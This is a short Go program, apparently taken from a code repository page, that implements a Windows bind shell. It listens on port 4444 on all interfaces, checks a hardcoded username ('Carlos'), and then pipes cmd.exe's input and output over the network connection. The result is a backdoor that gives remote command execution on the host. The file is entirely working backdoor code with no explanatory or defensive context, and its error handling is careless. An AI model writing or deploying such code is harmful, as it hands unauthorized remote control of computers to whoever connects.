50 lines
891 B
Go
50 lines
891 B
Go
package main
|
|
|
|
import (
|
|
"fmt"
|
|
"net"
|
|
"os/exec"
|
|
"strings"
|
|
)
|
|
|
|
func main() {
|
|
listener, err := net.Listen("tcp", "0.0.0.0:4444")
|
|
if err != nil {
|
|
fmt.Println("Error al abrir scoket")
|
|
}
|
|
defer listener.Close()
|
|
conn, err := listener.Accept()
|
|
if err != nil {
|
|
fmt.Println("Error")
|
|
}
|
|
if err != nil {
|
|
fmt.Println("Error al recibir la conexion")
|
|
}
|
|
if login(conn) != true {
|
|
_, err = conn.Write([]byte("False User\n"))
|
|
conn.Close()
|
|
}
|
|
cmd := exec.Command("cmd.exe")
|
|
cmd.Stdin = conn
|
|
cmd.Stdout = conn
|
|
cmd.Stderr = conn
|
|
cmd.Run()
|
|
}
|
|
|
|
func login(conn net.Conn) bool {
|
|
|
|
mensaje := fmt.Sprintf("Favor de escribir usuario\nUsuario: ")
|
|
_, err := conn.Write([]byte(mensaje))
|
|
buf := make([]byte, 1024)
|
|
n, err := conn.Read(buf)
|
|
if err != nil {
|
|
fmt.Println("Error")
|
|
}
|
|
data := string(buf[:n])
|
|
user := strings.TrimSpace(data)
|
|
if user != "Carlos" {
|
|
return false
|
|
}
|
|
return true
|
|
}
|